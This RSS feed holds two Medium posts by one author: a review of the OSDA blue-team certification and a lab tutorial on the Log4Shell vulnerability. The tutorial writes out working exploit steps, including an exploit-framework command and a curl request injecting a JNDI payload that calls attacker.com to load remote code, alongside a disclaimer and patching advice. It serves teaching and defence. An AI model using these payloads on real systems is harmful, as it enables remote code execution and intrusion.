<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Amal Ben Brahim on Medium]]></title>
        <description><![CDATA[Stories by Amal Ben Brahim on Medium]]></description>
        <link>https://medium.com/@amalbenbrahim?source=rss-16dfac29249d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*rJGvKzZpdbc39GRhw_Chug.png</url>
            <title>Stories by Amal Ben Brahim on Medium</title>
            <link>https://medium.com/@amalbenbrahim?source=rss-16dfac29249d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 04:43:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@amalbenbrahim/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OSDA Review — Offensive Security Defense Analyst (2n version)]]></title>
            <link>https://amalbenbrahim.medium.com/osda-review-offensive-security-defense-analyst-2n-version-0d5d93650b9e?source=rss-16dfac29249d------2</link>
            <guid isPermaLink="false">https://medium.com/p/0d5d93650b9e</guid>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[security-operations]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[defense-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Amal Ben Brahim]]></dc:creator>
            <pubDate>Wed, 11 Sep 2024 11:14:56 GMT</pubDate>
            <atom:updated>2024-09-12T15:28:02.435Z</atom:updated>
            <content:encoded><![CDATA[<h3>OSDA Review — Offensive Security Defense Analyst (2nd version)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*Fawp0Ltff9n-Oi_mVp-YOQ.png" /></figure><h3>Summary</h3><p>I recently passed the Offensive Security Defense Analyst (OSDA) certification exam. It is the first Offsec blue side certification, a practical 24-hour exam that requires completing the SOC-200 “Security Operations and Defensive Analysis” course. I think this is a pretty decent certification if you want to be a blue teamer as the course covers a lot of foundational topics to understand and respond to a full attack chain.</p><p>I would highly recommend this course for those who are interested in learning the principles of SOC operations. It is also useful for red teamers looking to understand detection strategies.</p><h3>The Course Content</h3><p>The course covers attacker TTPs, logging, and monitoring techniques for detecting suspicious activities in Windows, Linux, web, and AD. All of these topics are explained in detail, and then they were built on with the last two modules covering ELK SIEM to rope it all together. At the end of each module, you can test your knowledge through live exercises where you are asked to answer some questions based on the lab.</p><p>I noticed that the course focuses on threat hunting by leveraging various logs to uncover common attackers’ tactics and techniques.</p><p>One of the useful aspects of the course is that you can copy-paste the current section and generate a PDF. For those who might find detailed reading tedious, there are well-explained OSA videos that cover the same content. I would recommend briefly reading the content of each section, giving the lab exercises an attempt and then watching the related OSA video for anything you missed finally trying the challenge labs. I think this will guide you to get the most out of the content. You can also refer to the following <a href="https://help.offsec.com/hc/en-us/articles/15728220061076-OffSec-SOC-200-Learning-Plan-12-Week">SOC-200-Learning-Plan-12-Week</a> to start your learning journey.</p><h3>The Challenge Labs</h3><p>As I mentioned above SOC-200 comes with learning labs during the sections, and another 13 challenge labs based on ELK. To access the labs, you are required to connect via VPN.</p><p>I highly recommend completing all the challenge labs as they make you well-prepared for the exam. Each challenge comes with different phases of attack. The objective is to track an attacker as they gain initial access and navigate through the network, identifying the specific techniques used, the credentials collected, the commands executed, how lateral movement was performed, and how persistence was established on the target network.</p><p>During each lab, I documented everything in Notion: marking down when the attack phases started, which ELK or OSQuery queries were used, and my summaries. This is similar to what you will find in the exam. If you have completed these challenges with ease and feel confident in your approach, you should be ready to take the exam!</p><h3>The Exam</h3><p>SOC-200 comes with a 24-hour exam that follows the same way as the challenge labs. Unless they will not provide you with the infrastructure of the target organization as they did in the challenge labs. Once the exam is finished, you have additional 24 hours to submit your report. The exam threshold is 70%. However, do not expect to get the exact score, just a PASS/FAIL status. I strongly advise you to read the <a href="https://help.offsec.com/hc/en-us/articles/4410105675412-OSDA-Exam-Guide">OSDA-Exam-Guide</a> which includes almost everything you need to prepare before the exam from scheduling to submitting your final report.</p><p>I can’t share too many details, but I thoroughly enjoyed the exam. The difficulty level felt appropriate for the course, and it kept me engaged the entire time. There were a few challenging moments, but overall, it wasn’t too difficult. I started on Saturday around 11 AM and worked (with a few breaks) until 5 PM when I took a few hours of rest. I then continued working until 1 AM. The next morning, I spent time reviewing my evidence and double-checking that I hadn’t missed anything. I highly recommend organizing your notes and taking screenshots with brief comments, as this will save you time when preparing the report.</p><p>I think the most challenging part is ensuring that you have uncovered all the attack techniques used in each phase. To achieve this, you need strong analytical skills and a thorough approach to avoid missing any details. Don’t hesitate to move on to the next phase or take a short break if you find yourself stuck. You can always return to the phase you’re struggling with later. Sometimes, reviewing what the attacker does in subsequent phases can help clarify earlier sections.</p><h3>The Exam Report</h3><p>I started the exam report about eight hours later, allowing myself some rest and engaging in unrelated activities. During the exam, I tried to capture as much evidence as possible (screenshots and queries) and included brief write-ups in the report <a href="https://help.offsec.com/hc/en-us/articles/4410105675412-OSDA-Exam-Guide#section-3-submission-instructions">template that I referenced from OffSec</a>. This approach helped speed up the process and organize the information after 24 hours. During this exam, there was no way to collect additional evidence once it had ended, so you need to document my findings based on the best knowledge you have. I submitted the final report on Monday morning and heard back nine days later that I passed!”</p><h3>Conclusion</h3><p>I believe this certification is an excellent course from OffSec. It is very beneficial for anyone with IT experience looking to transition into cybersecurity, a SOC role, or a threat hunting. Additionally, it’s fantastic for blue teamers aiming to enhance their skills and become familiar with ELK, as well as red teamers wanting to better understand how their activities are detected and analyzed by defenders. Good luck!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0d5d93650b9e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Log4j Vulnerability CVE-2021-44228]]></title>
            <link>https://amalbenbrahim.medium.com/understanding-log4j-vulnerability-cve-2021-44228-c6376a9efc13?source=rss-16dfac29249d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c6376a9efc13</guid>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[log4shell]]></category>
            <category><![CDATA[zero-day]]></category>
            <category><![CDATA[log4j]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Amal Ben Brahim]]></dc:creator>
            <pubDate>Sun, 19 Dec 2021 13:52:26 GMT</pubDate>
            <atom:updated>2021-12-19T13:52:26.436Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*U7vwiQLXq9BdPXTo.jpg" /><figcaption>Photo retrieved from <a href="https://www.bleepingcomputer.com/news/security/log4j-list-of-vulnerable-products-and-vendor-advisories/">bleepingcomputer</a></figcaption></figure><h3>Summary</h3><p>I hope with this article I can clear up some confusions about the critical zero-day vulnerability which affects Log4j, a java library meant for logging. I will first explain the vulnerability, its impact, what exploiting it looks like and finally how to mitigate it.</p><h3>Log4j Explained</h3><p>Log4j is an open-source Java logging library that is developed by the Apache Software Foundation and is widely used by most Java projects.</p><p>On 10th of December, Apache published an advisory for <a href="https://logging.apache.org/log4j/2.x/security.html">CVE-2021-44228 </a>with an update for Log4j. However, the problem is not only that you might use an affected version of Log4j directly in your software, but also that you might use third party tools that use Log4j. As a consequence, millions of applications can be affected by this critical vulnerability.</p><h3>Impact</h3><p>Log4j vulnerability is believed to be critical(CVSS score: <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228">10.0</a>) because it allows any unauthenticated attacker to remotely execute malicious code by simply injecting a well crafted payload. This means that every Java App that uses Log4j to log user-controlled data, is a backdoor for remote code execution.</p><h3>Idea behind Log4j vulnerability</h3><p>In order to show how this vulnerability works, we will use a small vulnerable application as a playground. This example is going to log <strong><em>Hello {username}</em></strong>. The username should be the command line parameter.</p><p>We first get a logger instance and then we call <strong><em>logger.info()</em></strong> to log the message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*eEFMlgxnHymSpzDPyXqYpw.png" /><figcaption>VulnerableApp source code</figcaption></figure><p>Before going into how we can exploit this application, we will first need to take a look at JNDI.</p><p>JNDI is a java interface that allows you to basically fetch some information from a remote server, such as LDAP.</p><p>A well crafted input can force Log4j to use JNDI to remotely load a java class and execute it. For example, in our Vulnerable application when we use the following input as {username}:</p><pre>$(jndi:ldap://127.0.0.1:1389/Basic/Command/start www.google.com)</pre><p>Log4j will log the payload which leads to connecting to the LDAP server 127.0.0.1:1389 and download an object that is going to run on the victim system. This is basically just going to allow us to execute malicious code from that LDAP server on the vulnerable app. Using this technique, we can load malware that could exfiltrate passwords from the target machine.</p><h3>Exploitation</h3><p>Now that we understand the logic behind this versatile vulnerability, we can exploit it by getting an entry into logs.</p><blockquote><strong>Disclaimer</strong>: This is just a test lab environment. Please, don’t run exploits or mess with production environments without explicit permission.</blockquote><p><strong>1. Download a Log4Shell sample vulnerable application for testing</strong></p><pre>git clone <a href="https://github.com/christophetd/log4shell-vulnerable-app">https://github.com/christophetd/log4shell-vulnerable-app</a></pre><p>In our test lab, we use the docker image of this web app so that we don’t have to use or install any Java-related tooling. This vulnerable app is logging the http header “<strong>X-Api-Version”</strong> and it uses Log4j 2.14.1.</p><p><strong>2. Run the vulnerable application</strong></p><pre>docker run -it -p 8080:8080 --network host ghcr.io/christophetd/log4shell-vulnerable-app</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jy91m1KL4jlVv82jSA0Hwg.png" /></figure><p><strong>3. Download the exploit framework</strong></p><pre>git clone <a href="https://github.com/alexandre-lavoie/python-log4rce">https://github.com/alexandre-lavoie/python-log4rce</a></pre><p><strong>4. Trigger the exploit</strong></p><pre>python3 log4rce.py --payload &quot;mkdir hacked&quot;</pre><p>Notice in the screenshot below that the exploit opens an LDAP and a http server. This needs to run on the attacker infrastructure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KUc6mievRs5eGk40MMNLWQ.png" /></figure><p><strong>5. Inject the payload</strong></p><p>We are going to inject our Log4j payload into the http header that would cause the server to run our arbitrary code. The address attacker.com should be replaced by the address of the LDAP server. In our case, the LDAP server is in the same network as the victim app, thus the usage of 127.0.0.1.</p><pre>curl <a href="http://localhost:8080/">http://localhost:8080/</a> -H &#39;X-Api-Version: ${jndi:ldap://attacker.com:1387/Exploit}&#39;</pre><p><strong>6. Confirm that the code got executed</strong></p><p>First we get the id of our docker container where the vulnerable app is running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U6ite3qP4TxEwxTGtnJ5DQ.png" /></figure><p>And “exec” into it to confirm that the directory “hacked” got created.</p><pre>sudo docker exec -it 2358f4fa4468 /bin/sh</pre><h3>✅ Mitigation</h3><p>According to the Apache advisory released on December 18th, this vulnerability is fixed in the newest version 2.17.0.</p><p><strong>Notes:</strong></p><blockquote><em>After being patched in Log4j 2.15.0, security researchers discovered on December 15, 2021, that the version 2.15.0 stills allows for exfiltration of sensitive data.</em></blockquote><blockquote><em>On December 18, 2021: New 2.17.0 version is out replacing 2.16.0 that has been found to be vulnerable to </em><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-45105"><em>CVE-2021-45105</em></a><em>, a Denial of Service (DoS) flaw.</em></blockquote><ul><li>If you know your code relies on Java I would recommend checking if you are using this library, and upgrade to the latest version.</li><li>Additionally, I strongly recommend to regularly check security advisories released by your security vendors. For example if you are using Cisco equipment in your infrastructure, you should monitor their security advisory website and get information about how to fix this vulnerability.</li></ul><p>The GitHub link below contains almost all the security advisories released by vendors who are believed to use the Log4j library: <a href="https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592">https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592</a></p><p>Hopefully, this was in some way helpful to someone.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c6376a9efc13" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>